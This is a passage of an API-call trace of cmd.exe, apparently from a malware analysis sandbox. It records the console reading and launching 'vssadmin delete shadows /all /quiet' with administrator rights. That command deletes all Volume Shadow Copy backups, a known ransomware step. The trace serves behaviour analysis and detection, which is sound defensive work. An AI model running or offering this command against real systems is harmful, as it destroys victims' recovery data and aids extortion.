lpDistanceToMoveHigh=0x0) returned 0x0 [0140.624] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.624] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0140.624] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.624] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.624] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.624] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0140.624] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.624] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.624] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.624] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0140.624] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.624] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.624] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.624] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0140.624] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.624] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.624] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.624] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0140.624] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.624] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.625] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.625] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0140.625] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.625] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.625] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.625] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0140.625] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.625] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.625] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.625] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0140.625] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.625] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.625] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0140.625] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0140.625] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.625] GetFileType (hFile=0xf94) returned 0x3 [0140.625] _get_osfhandle (_FileHandle=0) returned 0xf94 [0140.625] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.625] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0140.625] GetFileType (hFile=0xfa0) returned 0x3 [0140.625] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0140.625] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0140.625] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff72b9e9970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xa1288ff898, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesWritten=0xa1288ff898*=0x24, lpOverlapped=0x0) returned 1 [0140.625] GetProcessHeap () returned 0x1d64a970000 [0140.626] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x4012) returned 0x1d64a978fc0 [0140.626] GetProcessHeap () returned 0x1d64a970000 [0140.626] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a978fc0) returned 1 [0140.626] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0140.627] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0140.627] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0140.627] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0140.627] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0140.627] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0140.627] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0140.627] GetProcessHeap () returned 0x1d64a970000 [0140.627] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0xb0) returned 0x1d64a978320 [0140.627] GetProcessHeap () returned 0x1d64a970000 [0140.627] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x22) returned 0x1d64a976a80 [0140.627] GetProcessHeap () returned 0x1d64a970000 [0140.627] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x48) returned 0x1d64a9783e0 [0140.628] GetConsoleOutputCP () returned 0x4e3 [0140.632] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff72b9efbb0 | out: lpCPInfo=0x7ff72b9efbb0) returned 1 [0140.632] SetThreadUILanguage (LangId=0x0) returned 0x409 [0140.633] GetConsoleTitleW (in: lpConsoleTitle=0xa1288ff6e0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0140.636] malloc (_Size=0xffce) returned 0x1d64ab90840 [0140.636] ??_V@YAXPEAX@Z () returned 0x1d64ab90840 [0140.636] malloc (_Size=0xffce) returned 0x1d64aba0820 [0140.636] ??_V@YAXPEAX@Z () returned 0x1d64aba0820 [0140.636] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0140.636] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0140.636] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0140.636] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0140.636] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0140.636] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0140.636] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0140.636] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0140.636] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0140.636] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0140.636] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0140.636] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0140.637] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0140.637] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0140.637] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0140.637] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0140.637] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0140.637] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0140.637] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0140.637] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0140.637] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0140.637] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0140.637] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0140.637] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0140.637] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0140.637] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0140.637] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0140.637] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0140.637] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0140.637] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0140.638] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0140.638] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0140.638] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0140.638] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0140.638] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0140.638] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0140.638] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0140.638] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0140.638] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0140.638] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0140.638] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0140.638] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0140.638] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0140.638] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0140.638] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0140.638] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0140.638] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0140.638] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0140.638] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0140.638] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0140.638] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0140.638] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0140.638] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0140.638] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0140.638] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0140.638] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0140.638] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0140.638] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0140.638] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0140.638] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0140.638] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0140.638] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0140.638] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0140.638] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0140.638] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0140.638] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0140.638] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0140.639] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0140.639] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0140.639] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0140.639] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0140.639] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0140.639] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0140.639] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0140.639] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0140.639] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0140.639] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0140.639] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0140.639] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0140.639] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0140.639] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0140.639] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0140.639] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0140.639] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0140.639] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0140.639] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0140.640] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0140.640] ??_V@YAXPEAX@Z () returned 0x1 [0140.640] GetProcessHeap () returned 0x1d64a970000 [0140.640] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0xffde) returned 0x1d64a978fc0 [0140.641] GetProcessHeap () returned 0x1d64a970000 [0140.641] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x5a) returned 0x1d64a976c30 [0140.641] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0140.641] malloc (_Size=0xffce) returned 0x1d64aba0820 [0140.641] ??_V@YAXPEAX@Z () returned 0x1d64aba0820 [0140.642] GetProcessHeap () returned 0x1d64a970000 [0140.642] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x1ffac) returned 0x1d64a98ab20 [0140.644] SetErrorMode (uMode=0x0) returned 0x0 [0140.644] SetErrorMode (uMode=0x1) returned 0x0 [0140.644] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1d64a98ab30, lpFilePart=0xa1288fef60 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xa1288fef60*="Desktop") returned 0x17 [0140.644] SetErrorMode (uMode=0x0) returned 0x1 [0140.644] GetProcessHeap () returned 0x1d64a970000 [0140.644] RtlReAllocateHeap (Heap=0x1d64a970000, Flags=0x0, Ptr=0x1d64a98ab20, Size=0x52) returned 0x1d64a98ab20 [0140.644] GetProcessHeap () returned 0x1d64a970000 [0140.644] RtlSizeHeap (HeapHandle=0x1d64a970000, Flags=0x0, MemoryPointer=0x1d64a98ab20) returned 0x52 [0140.644] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff72b9ebb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0140.644] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0140.644] GetProcessHeap () returned 0x1d64a970000 [0140.644] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x1bc) returned 0x1d64a976ca0 [0140.644] GetProcessHeap () returned 0x1d64a970000 [0140.644] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x368) returned 0x1d64a988fb0 [0140.644] GetProcessHeap () returned 0x1d64a970000 [0140.644] RtlReAllocateHeap (Heap=0x1d64a970000, Flags=0x0, Ptr=0x1d64a988fb0, Size=0x1be) returned 0x1d64a988fb0 [0140.644] GetProcessHeap () returned 0x1d64a970000 [0140.644] RtlSizeHeap (HeapHandle=0x1d64a970000, Flags=0x0, MemoryPointer=0x1d64a988fb0) returned 0x1be [0140.644] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff72b9ebb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0140.644] GetProcessHeap () returned 0x1d64a970000 [0140.644] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0xe8) returned 0x1d64a989180 [0140.644] GetProcessHeap () returned 0x1d64a970000 [0140.644] RtlReAllocateHeap (Heap=0x1d64a970000, Flags=0x0, Ptr=0x1d64a989180, Size=0x7e) returned 0x1d64a989180 [0140.644] GetProcessHeap () returned 0x1d64a970000 [0140.644] RtlSizeHeap (HeapHandle=0x1d64a970000, Flags=0x0, MemoryPointer=0x1d64a989180) returned 0x7e [0140.644] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0140.645] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xa1288fecd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa1288fecd0) returned 0xffffffffffffffff [0140.645] GetLastError () returned 0x2 [0140.645] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0140.645] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xa1288fecd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa1288fecd0) returned 0xffffffffffffffff [0140.647] GetLastError () returned 0x2 [0140.647] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0140.647] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xa1288fecd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa1288fecd0) returned 0x1d64a989210 [0140.648] FindClose (in: hFindFile=0x1d64a989210 | out: hFindFile=0x1d64a989210) returned 1 [0140.648] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xa1288fecd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa1288fecd0) returned 0xffffffffffffffff [0140.648] GetLastError () returned 0x2 [0140.648] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xa1288fecd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa1288fecd0) returned 0x1d64a989210 [0140.648] FindClose (in: hFindFile=0x1d64a989210 | out: hFindFile=0x1d64a989210) returned 1 [0140.648] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0140.648] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0140.648] ??_V@YAXPEAX@Z () returned 0x1 [0140.648] GetConsoleTitleW (in: lpConsoleTitle=0xa1288ff250, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0140.652] GetProcessHeap () returned 0x1d64a970000 [0140.652] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x21c) returned 0x1d64a976040 [0140.652] GetConsoleTitleW (in: lpConsoleTitle=0x1d64a976050, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0140.657] GetProcessHeap () returned 0x1d64a970000 [0140.657] RtlReAllocateHeap (Heap=0x1d64a970000, Flags=0x0, Ptr=0x1d64a976040, Size=0xc2) returned 0x1d64a976040 [0140.657] GetProcessHeap () returned 0x1d64a970000 [0140.657] RtlSizeHeap (HeapHandle=0x1d64a970000, Flags=0x0, MemoryPointer=0x1d64a976040) returned 0xc2 [0140.657] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0140.662] GetProcessHeap () returned 0x1d64a970000 [0140.662] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a976040) returned 1 [0140.662] InitializeProcThreadAttributeList (in: lpAttributeList=0xa1288ff170, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xa1288ff060 | out: lpAttributeList=0xa1288ff170, lpSize=0xa1288ff060) returned 1 [0140.662] UpdateProcThreadAttribute (in: lpAttributeList=0xa1288ff170, dwFlags=0x0, Attribute=0x60001, lpValue=0xa1288ff04c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xa1288ff170, lpPreviousValue=0x0) returned 1 [0140.662] GetStartupInfoW (in: lpStartupInfo=0xa1288ff100 | out: lpStartupInfo=0xa1288ff100*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xf94, hStdOutput=0xfa0, hStdError=0xfa0)) [0140.662] GetProcessHeap () returned 0x1d64a970000 [0140.662] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x20) returned 0x1d64a971850 [0140.662] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0140.662] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0140.663] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0140.664] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0140.664] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0140.664] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0140.664] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0140.664] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0140.664] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0140.664] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0140.664] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0140.664] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0140.664] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0140.664] GetProcessHeap () returned 0x1d64a970000 [0140.664] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a971850) returned 1 [0140.664] GetProcessHeap () returned 0x1d64a970000 [0140.664] RtlAllocateHeap 